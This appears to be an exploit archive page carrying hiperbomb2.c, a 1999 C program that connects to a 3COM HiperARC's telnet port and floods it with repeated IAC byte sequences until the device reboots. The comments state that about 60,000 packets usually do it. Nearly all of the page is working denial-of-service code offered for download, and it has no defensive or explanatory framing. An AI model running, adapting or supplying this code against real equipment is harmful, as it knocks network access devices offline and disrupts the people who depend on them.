what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hiperbomb2.c

hiperbomb2.c
Posted Sep 22, 1999

Exploit to send a large volume of IACs which eventually leads to a reboot of 3COM's HiperARC

tags | exploit
SHA-256 | dbbcf212057df1232edc1ee2a26005a071ab2569f332337a2f2664387ef59609

hiperbomb2.c

Change Mirror Download
/* ---------------------------------------------------------------------
* hiperbomb2.c - Reboots HiperARC faster.
* ---------------------------------------------------------------------
* (c) 1999 - Jonathan Chapman <jchapman@1st.net>
* ---------------------------------------------------------------------
* Sends a high volume of IACs which eventually leads to a reboot of the
* HiperARC. Brief testing indicated that this problem is most likely
* specific to sending IACs rather than any other type of data. Further
* research has shown that specific IAC patterns are more likely to cause
* a reboot. In this example I use one of the most efficient combinations
* I have discovered. Through my testing it usually required at least
* 60,000 packets to cause the HiperARC to reboot.
* ---------------------------------------------------------------------
*/


#include <stdio.h>
#include <stdarg.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

char *chassis;
int sockfd, num_of_tries;

void connect_to_chassis(char *name)
{
struct hostent *host;
struct sockaddr_in remote;

host = gethostbyname(name);

if(!host) {
fprintf(stderr, "Cannot resolve host %s.\n", name);
exit(3);
}

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if(sockfd < 0) {
fprintf(stderr, "Cannot obtain descriptor.\n");
exit(4);
}

remote.sin_family = AF_INET;
remote.sin_addr = *(struct in_addr *)*host->h_addr_list;
remote.sin_port = htons(23);

connect(sockfd, (struct sockaddr *)&remote, sizeof(remote));

return;
}

void send_iacs()
{
unsigned char reply[3] = {254, 36, 185};
unsigned int k;

for(k = 0; k < num_of_tries; k++) {
write(sockfd, reply, 3);
}
}

int main(int ac, char **av)
{

if(ac < 3) {
fprintf(stderr, "Syntax: %s <chassis name> <num of packets>\n", av[0]);
fprintf(stderr, "Approximately 60,000 packets usually takes care of the job.\n");
exit(2);
}

chassis = av[1];
num_of_tries = atoi(av[2]);

fprintf(stderr, "Beginning attack on chassis %s [%d packets]\n",
chassis, num_of_tries);
connect_to_chassis(chassis);
send_iacs();
fprintf(stderr, "Attack complete.\n");

exit(0);
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close